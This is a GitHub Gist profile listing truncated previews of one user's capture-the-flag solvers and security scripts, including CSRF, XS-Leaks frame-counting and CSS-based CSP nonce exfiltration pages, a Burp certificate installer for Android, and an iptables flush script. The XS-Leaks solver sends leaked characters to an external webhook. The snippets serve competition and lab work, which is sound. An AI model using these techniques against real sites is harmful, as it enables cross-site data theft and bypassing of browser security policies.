Skip to content

Instantly share code, notes, and snippets.

View nyxsorcerer's full-sized avatar
🧙

Night Wizard nyxsorcerer

🧙
1 follower · 0 following
View GitHub Profile
@nyxsorcerer
nyxsorcerer / csrf.html
Created January 9, 2024 19:01
irisCTF 2024 [lamenote]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe id="stuff" frameborder="0"></iframe>
<script>
@nyxsorcerer
nyxsorcerer / index.html
Created January 15, 2023 22:01
IdekCTF 2022* [Stargazer - Web]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
@nyxsorcerer
nyxsorcerer / keybase.md
Created July 14, 2022 15:42

Keybase proof

I hereby claim:

  • I am nyxsorcerer on github.
  • I am nyxsorcerer (https://keybase.io/nyxsorcerer) on keybase.
  • I have a public key ASDaaqg6iqXh9_-tPgMIXuiKXUSKaUhuiINdi_5CyAG6xwo

To claim this, I am signing this object:

@nyxsorcerer
nyxsorcerer / keybase.md
Created July 14, 2022 15:38

Keybase proof

I hereby claim:

  • I am nyxsorcerer on github.
  • I am nyxmare (https://keybase.io/nyxmare) on keybase.
  • I have a public key ASCT6pwsn-QJUsFZVQWE3s0ch4ewn9ob9yykBWm-EpWUSQo

To claim this, I am signing this object:

@nyxsorcerer
nyxsorcerer / QuestionCompar.java
Created April 10, 2022 15:54
Securinets [BrokenParr0t]
package com.securinets.utils;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;
@nyxsorcerer
nyxsorcerer / index.html
Created November 21, 2021 12:40
[Solver] sigNULL (XS-Leaks Frame Counting)
<script>
const binurl = "https://webhook.site/f6088f8d-4247-4280-9890-57ed03953a0c"
const targeturl = "https://signull.chal.intentsummit.org/"
const report = (msg) => window.navigator.sendBeacon(binurl, msg)
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))
// const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}"
const chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
let flag = "INTENT{i_have_a_crash_on_el0n}"
async function go () {
window.parent.location.href = targeturl + "#" + window.performance.now()
@nyxsorcerer
nyxsorcerer / flush_iptables.sh
Created November 13, 2021 14:08
flushing / removing all iptables rules
#/bin/bash
# https://serverfault.com/a/200658
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
@nyxsorcerer
nyxsorcerer / frame.html
Last active January 9, 2024 19:03
bypass csp nonces using CSS exifiltration
<script>
// solver based on ASIS CTF 2021 (Lovely nonces)
var nonce = "";
var src = "http://localhost:8000/#";
var chars = "abcdefghijklmnopqrstuvwxyz0123456789";
const sleep = (ms) => {
return new Promise((r) => setTimeout(r, ms));
};
function final() {
@nyxsorcerer
nyxsorcerer / install_burp_cert.sh
Created November 10, 2021 05:55
probaly only works on android studio
#!/bin/bash
openssl x509 -inform DER -in cacert.der -out /tmp/cacert.pem;
res=$(openssl x509 -inform PEM -subject_hash_old -in /tmp/cacert.pem | head -n 1)
cp /tmp/cacert.pem /tmp/${res}.0
adb root
adb shell mount -o rw,remount /system
adb push /tmp/${res}.0 /sdcard/
adb shell mv /sdcard/${res}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${res}.0
@nyxsorcerer
nyxsorcerer / solver_Emdee_five_for_life.py
Last active January 9, 2024 19:03
[Solver][Hackthebox][Web] Emdee five for life
#!/usr/bin/env python
from bs4 import *
import requests
from hashlib import md5
'''
Author @nyxsorcerer
[Solver][Hackthebox][Web] Emdee five for life
'''
url = 'http://178.128.46.168:32688/'